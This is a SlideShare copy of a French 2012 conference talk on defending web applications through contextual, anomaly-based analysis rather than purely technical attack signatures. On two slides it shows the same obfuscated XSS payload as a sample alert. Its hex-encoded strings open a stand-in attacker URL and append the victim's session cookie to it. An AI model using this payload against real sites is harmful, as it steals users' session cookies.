SlideShare une entreprise Scribd logo
1  sur  31
Télécharger pour lire hors ligne
Défense des applications
web, analyse technique vs
analyse contextuelle
Matthieu Estrade
CTO/ BeeWare


                       Application Security Forum - 2012
                                       Western Switzerland

                   7-8 novembre 2012 - Y-Parc / Yverdon-les-Bains
                   https://www.appsec-forum.ch
Le Web
 Basé sur des RFC et des standards datant de 1989…
 Un protocole qui ne gère pas nativement les sessions

 Plus de 90% des entreprises ont au moins un
  intranet/extranet Web
 Les dernières technologies IT utilisent massivement
  HTTP
  – Mobilité (Synchronisation, applications distantes)
  – Cloud (API REST, Webservices etc.)
La sécurité des
applications Web
 Plus complexe que la sécurité réseau
   –   Des données hétérogènes
   –   Des données en provenance de l’utilisateur
   –   Des standards pas forcément respectés
   –   Des frameworks de développement + ou - évolués

 Demande une expertise éparpillée dans l’entreprise
   –   Système
   –   Réseau
   –   Développement
   –   Sécurité

 Ces équipes ne parlent le même langage…
Des contraintes d’exploitation:
Les faux positifs
 Demandent une analyse poussée sur la requête pour désactiver ou non
  une règle de sécurité
 Peuvent être générés par l’application elle-même, car mal développée
 Peuvent rapidement inonder les logs et rendre le dispositif de sécurité
  inopérant

 Un expert sécurité analyse une attaque
 Un exploitant analyse une requête !

 value» onclick=«var _0xc454 =
  ["x68x74x74x70x3Ax2Fx2Fx68x61x63x6Bx33x72x2Ex6Fx7
  2x67x2Fx65x76x69x6Cx2Ex70x68x70x3Fx63x6Fx6Fx6Bx6
  9x65x3D","x63x6Fx6Fx6Bx69x65","x6Fx70x65x6E"];window[_
  0xc454[2]](_0xc454[0]+document[_0xc454[1]]);
Analyse d’une attaque
 Analyse technique d’une tentative d’exploitation
  de vulnérabilité
 Des techniques connues
  – TOP10 Owasp, WASC TC v2…
 Des variantes en fonction des différents
  composants de l’infrastructure HTTP
  – (Encoding, Serveur web, Annuaire, DB etc.)
 Mesure de l’impact (ex: CVSS)
Une compétition technique

                            Recherche de
                            vulnérabilités
                             Exploitation




         Mise en place de                    Mise en place de
         contre-mesures                         défenses




                             Recherche de
                            contournement
                             Obfuscation
L’infrastructure HTTP
 Devient de plus en plus importante
  – De 10 à +3000 applications…
 Devient de plus en plus complexe
  – Plusieurs étages de traitements, fonctionnement
    « event », webservices, authentification, base de
    données etc.
 Génère de plus en plus de trafic
 Demande de plus en plus de contrôle
L’analyse technique
 Devient difficile à effectuer sur TOUTES les
  attaques et TOUS les incidents
 Elle consomme un temps important dans les
  équipes sécurité
 L’expertise requise est éparpillée dans l’entreprise
  et n’est pas tout le temps disponible
La sécurité dans la vie de tous
les jours
 N’est pas ou peu basée sur des critères techniques
 Est analysée à chaque instant
 Est analysée de façon progressive en fonction du
  contexte
 Oppose des situations normales / anormales

 Imaginez si vous deviez analyser techniquement
  chaque situation pour savoir si vous êtes en sécurité
  !
Analyse du contexte vs Analyse
technique
 Depuis que vous êtes à Yverdon, à l’Application
  Security Forum, dans cette salle, votre analyse
  sur votre sécurité est différente
 Vous n’avez pas compté les caméras de
  surveillance ni recherché des retours sur leur
  efficacité sur Google !
 Vous n’effectuez pas d’analyse de risque sur
  chaque personne que vous croisez !
Analyse du contexte vs Analyse
technique

 Et pourtant !
  – Vous savez que vous êtes en sécurité
  – Vous êtes dans une situation de confiance
 Qu’est-ce qui remonterait votre niveau de
  vigilance ?
  – Un évènement / situation qui sort du contexte !
  – Une anomalie
Quelle adaptation pour
HTTP ?
 Il existe un contexte d’utilisation pour les applications
  et services web
 Il existe un contexte d’utilisation de l’infrastructure
  HTTP
 Il est possible de déterminer des situations normales
  et anormales dans ces différents contexte

 Tout cela sans utiliser une expertise sécurité pour
  déterminer ce qui est menaçant.
Utilisation normale vs
anomalie
 Une application est utilisée de façon normale par
  TOUS ses utilisateurs normaux !
 L’application génère elle-même son trafic
  – C’est elle qui construit les liens de façon dynamique
  – C’est elle qui propose le contenu et qui guide
    l’utilisateur dans la manière de l’utiliser
 Il est donc possible de définir par la masse de
  trafic une navigation « normale »
Utilisation normale vs
anomalie
 Les utilisateurs d’une application ont souvent le
  même profil
  – Poste de travail, périphérique mobile, Webservice
 Ils ont souvent le même comportement sur
  l’application
  – Lecture du contenu, clic sur les liens intéressants,
    recherche d’information les concernants
  – Navigation commune
Utilisation normale vs
anomalie

 Une application est souvent utilisée par des
  clients d’une même zone géographique, ou au
  contraire d’une multitude d’endroits.
 Selon cette provenance géographique, il est
  possible d’associer une réputation au client
Spécialiser les analyses par
critères
                              Connaissance
                              De l’application



             Détection de                        Analyse de la
           contenu offensif                       navigation



                                 Analyse
                               contextuelle



            Détection du                         Réputation du
            type de client                          client




                              Géolocalisation
Chaque critère = un agent              Analyse par les
                                          agents


  Fournit trois métriques par
   analyse
   – Connaissance de la situation         Résultat
   – Fiabilité de cette connaissance
   – Dangerosité de cette situation
                                       Apprentissage
  Est influencé par les autres         par chaque
                                          agent
   agents
  Chaque agent apprend selon le
   résultat des autres
Connaissance de
l’application
 Construction en temps réel de la structure de
  l’application
 Détection des formats
 Algorithme des phéromones de fourmis
 Connaissance en temps réel
  – De l’utilisation des ressources à l’instant T et dans un
    passé proche: Tendance actuelle
  – De l’utilisation des ressources depuis qu’elles ont été
    demandées: Historique
Analyse du client
 Réputation de l’utilisateur
  – Basée sur son utilisation des ressources et sur le
    résultat de l’agent connaissance de l’application
  – Basée sur le résultat de l’agent de détection de
    contenu offensif
  – Basée sur les informations d’authentification
  – Partagée entre les différents boitiers
  – Possibilité de croiser les résultats avec des bases
    externes
Analyse du client
 Fingerprint
  – Poste de travail, plateforme mobile, Webservices
  – Détection de la version du client
  – Analyse de l’ordre d’envoi des headers
  – Analyse des options installées
 Géolocalisation
  – Provenance externe ou interne
  – Statistique d’utilisation sur les différents pays
  – Définition des pays à risque
Analyse de la navigation
 Fréquence d’utilisation des ressources
  – Détection des processus automatisés
  – Temps entre les différentes demandes
 Type de ressources demandées
  – Téléchargement des images et feuilles de style
 Enchainement des actions
  – Récupération des formulaires d’authentification
  – Accès direct aux ressources sensibles
Détection de contenu
offensif
 Analyse du contenu en fonction de son utilisation
 Méthodes de détection de vulnérabilité et
  d’analyse de la structure applicative
 Exploitation de vulnérabilité, injection de
  commande, de syntaxes SQL, de Javascript etc.
 Tentatives de compromission avec mise en place
  de backdoor, exécution de commandes etc.
Des indicateurs non
techniques
 Cette requête utilise la ressource index.php comme 97% des utilisateurs lors
  des dernières 30 minutes

 Cette requête utilise la ressource index.php comme 99,6% des utilisateurs
  depuis qu’elle est disponible

 Cette requête contient un contenu suspicieux

 Cette requête a été effectuée par un navigateur conforme à 98% à Internet
  Explorer 8

 Cette requête provient de la France comme 98% des visites

 Ce client a accédé à cette ressource en ayant suivi une navigation commune à
  87% des utilisateurs
Plusieurs utilisations
possibles
 En complément d’un moteur classique de
  détection d’intrusion avec une classification
  technique
  – Aide à la décision et filtrage des évènements sécurité
    par niveau de vigilance
 Utilisation en standalone avec définition assistée
  du contexte applicatif
Une prise de décision
progressive
 Pondération des différents résultats au cours de
  l’analyse
 Un contexte et une utilisation connue de
  l’application vont faire baisser le niveau de
  vigilance de la détection de contenu offensif
 Mémorisation de l’utilisation récente de
  l’application
 Adaptation du contexte à chaque requête
Processus décisionnel


 Connaissance       +/-         Connaissance      +/-       Détection
      de
                                  du client
                                                             contenu    Résultat
 l’application   vigilance                     vigilance     offensif




                             Mémorisation de l’historique
                                  (passé proche)
Adaptation progressive
 Une ressource jamais ou peu utilisée sera analysée
  avec une vigilance maximum sur le contenu offensif
 Une ressource connue utilisée avec du contenu
  offensif par la majorité des utilisateurs sera analysée
  avec une vigilance diminuée sur ce contenu offensif
 Au fur et à mesure de l’utilisation de l’application, le
  moteur détermine le contexte d’utilisation normal de
  l’application
 Utilisé sur une infrastructure HTTP, il peut aussi
  déterminer l’utilisation normale d’une application
  dans un ensemble de composants applicatifs
Prise de décision
 Un filtrage possible selon l’importance de l’anomalie
 Des indicateurs non technique basés sur l’utilisation « normale » de
  l’application
 Une réduction progressive de la surface d’attaque
 Une simplicité et une compréhension de l’alerte sécurité

 Une rupture totale avec les alertes type XSS sur la variable id contenant
  par exemple:
    – value» onclick=«var _0xc454 =
      ["x68x74x74x70x3Ax2Fx2Fx68x61x63x6Bx33x72x2Ex6Fx72x
      67x2Fx65x76x69x6Cx2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x
      3D","x63x6Fx6Fx6Bx69x65","x6Fx70x65x6E"];window[_0xc454[2]](
      _0xc454[0]+document[_0xc454[1]]);
En quelques mots…
 Sécurité renforcée
  – Adaptée au contexte applicatif
  – Différente du modèle classique whitelist/blacklist
  – Réduction progressive de la surface d’attaque

 Un exploitation simplifiée
  – Des indicateurs simples pour une décision rapide
  – Une analyse non technique
  – Un focus sur les anomalies et non les faux positifs
30




Questions?
31




Merci/Thank you!

Contact:
   mestrade@bee-ware.net
   @mestrade
   Slides:
      http://slideshare.net/ASF-WS/presentations

Contenu connexe

Similaire à ASFWS 2012 - Sécurité des applications web, analyse technique vs. analyse contextuelle par Matthieu Estrade

Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebCyrille Grandval
 
Rational France livre blanc - choisir le bon outil pour faire du bon travail
Rational France   livre blanc - choisir le bon outil pour faire du bon travailRational France   livre blanc - choisir le bon outil pour faire du bon travail
Rational France livre blanc - choisir le bon outil pour faire du bon travailRational_France
 
Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...
Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...
Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...Rational_France
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Aymeric Lagier
 
Formation Securite Informatique AKAOMA Consulting Certification Securite Info...
Formation Securite Informatique AKAOMA Consulting Certification Securite Info...Formation Securite Informatique AKAOMA Consulting Certification Securite Info...
Formation Securite Informatique AKAOMA Consulting Certification Securite Info...Christophe Pekar
 
Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !Microsoft Technet France
 
Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !Microsoft Décideurs IT
 
présentation soutenance PFE.ppt
présentation soutenance PFE.pptprésentation soutenance PFE.ppt
présentation soutenance PFE.pptMohamed Ben Bouzid
 
Les bases de la securité informatique
Les bases de la securité informatiqueLes bases de la securité informatique
Les bases de la securité informatiqueMozes Pierre
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01Sébastien GIORIA
 
Devons nous analyser les logs en continu pour minimiser les risques informati...
Devons nous analyser les logs en continu pour minimiser les risques informati...Devons nous analyser les logs en continu pour minimiser les risques informati...
Devons nous analyser les logs en continu pour minimiser les risques informati...ITrust - Cybersecurity as a Service
 
Actions prioritaires pour la SSI
Actions prioritaires pour la SSI Actions prioritaires pour la SSI
Actions prioritaires pour la SSI Johan Moreau
 
Sécurisation d'un site internet
Sécurisation d'un site internetSécurisation d'un site internet
Sécurisation d'un site internetwaggaland
 
Matinée6 solutions professionnelles de sécurité KES
Matinée6   solutions professionnelles de sécurité KESMatinée6   solutions professionnelles de sécurité KES
Matinée6 solutions professionnelles de sécurité KESALTITUDE CONCEPT SPRL
 
Gestion des incidents de sécurité : de la réactivité à la proactivité
Gestion des incidents de sécurité : de la réactivité à la proactivitéGestion des incidents de sécurité : de la réactivité à la proactivité
Gestion des incidents de sécurité : de la réactivité à la proactivitéPECB
 
Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)
Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)
Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)ACCESS Group
 

Similaire à ASFWS 2012 - Sécurité des applications web, analyse technique vs. analyse contextuelle par Matthieu Estrade (20)

Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative Web
 
Rational France livre blanc - choisir le bon outil pour faire du bon travail
Rational France   livre blanc - choisir le bon outil pour faire du bon travailRational France   livre blanc - choisir le bon outil pour faire du bon travail
Rational France livre blanc - choisir le bon outil pour faire du bon travail
 
Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...
Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...
Rational France - Livre blanc - Choisir le bon outil pour outils pour faire d...
 
La sécurité endpoint : efficace, mais pas efficient
La sécurité endpoint : efficace, mais pas efficientLa sécurité endpoint : efficace, mais pas efficient
La sécurité endpoint : efficace, mais pas efficient
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)
 
Formation Securite Informatique AKAOMA Consulting Certification Securite Info...
Formation Securite Informatique AKAOMA Consulting Certification Securite Info...Formation Securite Informatique AKAOMA Consulting Certification Securite Info...
Formation Securite Informatique AKAOMA Consulting Certification Securite Info...
 
IKare Vulnerability Scanner - Datasheet FR
IKare Vulnerability Scanner - Datasheet FRIKare Vulnerability Scanner - Datasheet FR
IKare Vulnerability Scanner - Datasheet FR
 
Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !
 
Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !Sécurité Active Directory : détecter l’indétectable !
Sécurité Active Directory : détecter l’indétectable !
 
présentation soutenance PFE.ppt
présentation soutenance PFE.pptprésentation soutenance PFE.ppt
présentation soutenance PFE.ppt
 
Les bases de la securité informatique
Les bases de la securité informatiqueLes bases de la securité informatique
Les bases de la securité informatique
 
Reconnaissance
ReconnaissanceReconnaissance
Reconnaissance
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
 
Reveelium Smart Predictive Analytics - Datasheet FR
Reveelium Smart Predictive Analytics - Datasheet FRReveelium Smart Predictive Analytics - Datasheet FR
Reveelium Smart Predictive Analytics - Datasheet FR
 
Devons nous analyser les logs en continu pour minimiser les risques informati...
Devons nous analyser les logs en continu pour minimiser les risques informati...Devons nous analyser les logs en continu pour minimiser les risques informati...
Devons nous analyser les logs en continu pour minimiser les risques informati...
 
Actions prioritaires pour la SSI
Actions prioritaires pour la SSI Actions prioritaires pour la SSI
Actions prioritaires pour la SSI
 
Sécurisation d'un site internet
Sécurisation d'un site internetSécurisation d'un site internet
Sécurisation d'un site internet
 
Matinée6 solutions professionnelles de sécurité KES
Matinée6   solutions professionnelles de sécurité KESMatinée6   solutions professionnelles de sécurité KES
Matinée6 solutions professionnelles de sécurité KES
 
Gestion des incidents de sécurité : de la réactivité à la proactivité
Gestion des incidents de sécurité : de la réactivité à la proactivitéGestion des incidents de sécurité : de la réactivité à la proactivité
Gestion des incidents de sécurité : de la réactivité à la proactivité
 
Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)
Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)
Parlons Sécurité IT avec Access et Ludovic Peny (Sophos)
 

Plus de Cyber Security Alliance

Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?Cyber Security Alliance
 
iOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce itiOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce itCyber Security Alliance
 
Why huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacksWhy huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacksCyber Security Alliance
 
Corporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomwareCorporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomwareCyber Security Alliance
 
Introducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging appsIntroducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging appsCyber Security Alliance
 
Understanding the fundamentals of attacks
Understanding the fundamentals of attacksUnderstanding the fundamentals of attacks
Understanding the fundamentals of attacksCyber Security Alliance
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemCyber Security Alliance
 
Easy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 fEasy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 fCyber Security Alliance
 
Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100Cyber Security Alliance
 
Offline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupOffline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupCyber Security Alliance
 
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...Cyber Security Alliance
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptCyber Security Alliance
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureCyber Security Alliance
 

Plus de Cyber Security Alliance (20)

Bug Bounty @ Swisscom
Bug Bounty @ SwisscomBug Bounty @ Swisscom
Bug Bounty @ Swisscom
 
Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?Robots are among us, but who takes responsibility?
Robots are among us, but who takes responsibility?
 
iOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce itiOS malware: what's the risk and how to reduce it
iOS malware: what's the risk and how to reduce it
 
Why huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacksWhy huntung IoC fails at protecting against targeted attacks
Why huntung IoC fails at protecting against targeted attacks
 
Corporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomwareCorporations - the new victims of targeted ransomware
Corporations - the new victims of targeted ransomware
 
Blockchain for Beginners
Blockchain for Beginners Blockchain for Beginners
Blockchain for Beginners
 
Le pentest pour les nuls #cybsec16
Le pentest pour les nuls #cybsec16Le pentest pour les nuls #cybsec16
Le pentest pour les nuls #cybsec16
 
Introducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging appsIntroducing Man in the Contacts attack to trick encrypted messaging apps
Introducing Man in the Contacts attack to trick encrypted messaging apps
 
Understanding the fundamentals of attacks
Understanding the fundamentals of attacksUnderstanding the fundamentals of attacks
Understanding the fundamentals of attacks
 
Rump : iOS patch diffing
Rump : iOS patch diffingRump : iOS patch diffing
Rump : iOS patch diffing
 
An easy way into your sap systems v3.0
An easy way into your sap systems v3.0An easy way into your sap systems v3.0
An easy way into your sap systems v3.0
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
 
Easy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 fEasy public-private-keys-strong-authentication-using-u2 f
Easy public-private-keys-strong-authentication-using-u2 f
 
Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100Create a-strong-two-factors-authentication-device-for-less-than-chf-100
Create a-strong-two-factors-authentication-device-for-less-than-chf-100
 
Offline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setupOffline bruteforce attack on wi fi protected setup
Offline bruteforce attack on wi fi protected setup
 
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
App secforum2014 andrivet-cplusplus11-metaprogramming_applied_to_software_obf...
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented feature
 
Rump attaque usb_caralinda_fabrice
Rump attaque usb_caralinda_fabriceRump attaque usb_caralinda_fabrice
Rump attaque usb_caralinda_fabrice
 
Operation emmental appsec
Operation emmental appsecOperation emmental appsec
Operation emmental appsec
 

ASFWS 2012 - Sécurité des applications web, analyse technique vs. analyse contextuelle par Matthieu Estrade

  • 1. Défense des applications web, analyse technique vs analyse contextuelle Matthieu Estrade CTO/ BeeWare Application Security Forum - 2012 Western Switzerland 7-8 novembre 2012 - Y-Parc / Yverdon-les-Bains https://www.appsec-forum.ch
  • 2. Le Web  Basé sur des RFC et des standards datant de 1989…  Un protocole qui ne gère pas nativement les sessions  Plus de 90% des entreprises ont au moins un intranet/extranet Web  Les dernières technologies IT utilisent massivement HTTP – Mobilité (Synchronisation, applications distantes) – Cloud (API REST, Webservices etc.)
  • 3. La sécurité des applications Web  Plus complexe que la sécurité réseau – Des données hétérogènes – Des données en provenance de l’utilisateur – Des standards pas forcément respectés – Des frameworks de développement + ou - évolués  Demande une expertise éparpillée dans l’entreprise – Système – Réseau – Développement – Sécurité  Ces équipes ne parlent le même langage…
  • 4. Des contraintes d’exploitation: Les faux positifs  Demandent une analyse poussée sur la requête pour désactiver ou non une règle de sécurité  Peuvent être générés par l’application elle-même, car mal développée  Peuvent rapidement inonder les logs et rendre le dispositif de sécurité inopérant  Un expert sécurité analyse une attaque  Un exploitant analyse une requête !  value» onclick=«var _0xc454 = ["x68x74x74x70x3Ax2Fx2Fx68x61x63x6Bx33x72x2Ex6Fx7 2x67x2Fx65x76x69x6Cx2Ex70x68x70x3Fx63x6Fx6Fx6Bx6 9x65x3D","x63x6Fx6Fx6Bx69x65","x6Fx70x65x6E"];window[_ 0xc454[2]](_0xc454[0]+document[_0xc454[1]]);
  • 5. Analyse d’une attaque  Analyse technique d’une tentative d’exploitation de vulnérabilité  Des techniques connues – TOP10 Owasp, WASC TC v2…  Des variantes en fonction des différents composants de l’infrastructure HTTP – (Encoding, Serveur web, Annuaire, DB etc.)  Mesure de l’impact (ex: CVSS)
  • 6. Une compétition technique Recherche de vulnérabilités Exploitation Mise en place de Mise en place de contre-mesures défenses Recherche de contournement Obfuscation
  • 7. L’infrastructure HTTP  Devient de plus en plus importante – De 10 à +3000 applications…  Devient de plus en plus complexe – Plusieurs étages de traitements, fonctionnement « event », webservices, authentification, base de données etc.  Génère de plus en plus de trafic  Demande de plus en plus de contrôle
  • 8. L’analyse technique  Devient difficile à effectuer sur TOUTES les attaques et TOUS les incidents  Elle consomme un temps important dans les équipes sécurité  L’expertise requise est éparpillée dans l’entreprise et n’est pas tout le temps disponible
  • 9. La sécurité dans la vie de tous les jours  N’est pas ou peu basée sur des critères techniques  Est analysée à chaque instant  Est analysée de façon progressive en fonction du contexte  Oppose des situations normales / anormales  Imaginez si vous deviez analyser techniquement chaque situation pour savoir si vous êtes en sécurité !
  • 10. Analyse du contexte vs Analyse technique  Depuis que vous êtes à Yverdon, à l’Application Security Forum, dans cette salle, votre analyse sur votre sécurité est différente  Vous n’avez pas compté les caméras de surveillance ni recherché des retours sur leur efficacité sur Google !  Vous n’effectuez pas d’analyse de risque sur chaque personne que vous croisez !
  • 11. Analyse du contexte vs Analyse technique  Et pourtant ! – Vous savez que vous êtes en sécurité – Vous êtes dans une situation de confiance  Qu’est-ce qui remonterait votre niveau de vigilance ? – Un évènement / situation qui sort du contexte ! – Une anomalie
  • 12. Quelle adaptation pour HTTP ?  Il existe un contexte d’utilisation pour les applications et services web  Il existe un contexte d’utilisation de l’infrastructure HTTP  Il est possible de déterminer des situations normales et anormales dans ces différents contexte  Tout cela sans utiliser une expertise sécurité pour déterminer ce qui est menaçant.
  • 13. Utilisation normale vs anomalie  Une application est utilisée de façon normale par TOUS ses utilisateurs normaux !  L’application génère elle-même son trafic – C’est elle qui construit les liens de façon dynamique – C’est elle qui propose le contenu et qui guide l’utilisateur dans la manière de l’utiliser  Il est donc possible de définir par la masse de trafic une navigation « normale »
  • 14. Utilisation normale vs anomalie  Les utilisateurs d’une application ont souvent le même profil – Poste de travail, périphérique mobile, Webservice  Ils ont souvent le même comportement sur l’application – Lecture du contenu, clic sur les liens intéressants, recherche d’information les concernants – Navigation commune
  • 15. Utilisation normale vs anomalie  Une application est souvent utilisée par des clients d’une même zone géographique, ou au contraire d’une multitude d’endroits.  Selon cette provenance géographique, il est possible d’associer une réputation au client
  • 16. Spécialiser les analyses par critères Connaissance De l’application Détection de Analyse de la contenu offensif navigation Analyse contextuelle Détection du Réputation du type de client client Géolocalisation
  • 17. Chaque critère = un agent Analyse par les agents  Fournit trois métriques par analyse – Connaissance de la situation Résultat – Fiabilité de cette connaissance – Dangerosité de cette situation Apprentissage  Est influencé par les autres par chaque agent agents  Chaque agent apprend selon le résultat des autres
  • 18. Connaissance de l’application  Construction en temps réel de la structure de l’application  Détection des formats  Algorithme des phéromones de fourmis  Connaissance en temps réel – De l’utilisation des ressources à l’instant T et dans un passé proche: Tendance actuelle – De l’utilisation des ressources depuis qu’elles ont été demandées: Historique
  • 19. Analyse du client  Réputation de l’utilisateur – Basée sur son utilisation des ressources et sur le résultat de l’agent connaissance de l’application – Basée sur le résultat de l’agent de détection de contenu offensif – Basée sur les informations d’authentification – Partagée entre les différents boitiers – Possibilité de croiser les résultats avec des bases externes
  • 20. Analyse du client  Fingerprint – Poste de travail, plateforme mobile, Webservices – Détection de la version du client – Analyse de l’ordre d’envoi des headers – Analyse des options installées  Géolocalisation – Provenance externe ou interne – Statistique d’utilisation sur les différents pays – Définition des pays à risque
  • 21. Analyse de la navigation  Fréquence d’utilisation des ressources – Détection des processus automatisés – Temps entre les différentes demandes  Type de ressources demandées – Téléchargement des images et feuilles de style  Enchainement des actions – Récupération des formulaires d’authentification – Accès direct aux ressources sensibles
  • 22. Détection de contenu offensif  Analyse du contenu en fonction de son utilisation  Méthodes de détection de vulnérabilité et d’analyse de la structure applicative  Exploitation de vulnérabilité, injection de commande, de syntaxes SQL, de Javascript etc.  Tentatives de compromission avec mise en place de backdoor, exécution de commandes etc.
  • 23. Des indicateurs non techniques  Cette requête utilise la ressource index.php comme 97% des utilisateurs lors des dernières 30 minutes  Cette requête utilise la ressource index.php comme 99,6% des utilisateurs depuis qu’elle est disponible  Cette requête contient un contenu suspicieux  Cette requête a été effectuée par un navigateur conforme à 98% à Internet Explorer 8  Cette requête provient de la France comme 98% des visites  Ce client a accédé à cette ressource en ayant suivi une navigation commune à 87% des utilisateurs
  • 24. Plusieurs utilisations possibles  En complément d’un moteur classique de détection d’intrusion avec une classification technique – Aide à la décision et filtrage des évènements sécurité par niveau de vigilance  Utilisation en standalone avec définition assistée du contexte applicatif
  • 25. Une prise de décision progressive  Pondération des différents résultats au cours de l’analyse  Un contexte et une utilisation connue de l’application vont faire baisser le niveau de vigilance de la détection de contenu offensif  Mémorisation de l’utilisation récente de l’application  Adaptation du contexte à chaque requête
  • 26. Processus décisionnel Connaissance +/- Connaissance +/- Détection de du client contenu Résultat l’application vigilance vigilance offensif Mémorisation de l’historique (passé proche)
  • 27. Adaptation progressive  Une ressource jamais ou peu utilisée sera analysée avec une vigilance maximum sur le contenu offensif  Une ressource connue utilisée avec du contenu offensif par la majorité des utilisateurs sera analysée avec une vigilance diminuée sur ce contenu offensif  Au fur et à mesure de l’utilisation de l’application, le moteur détermine le contexte d’utilisation normal de l’application  Utilisé sur une infrastructure HTTP, il peut aussi déterminer l’utilisation normale d’une application dans un ensemble de composants applicatifs
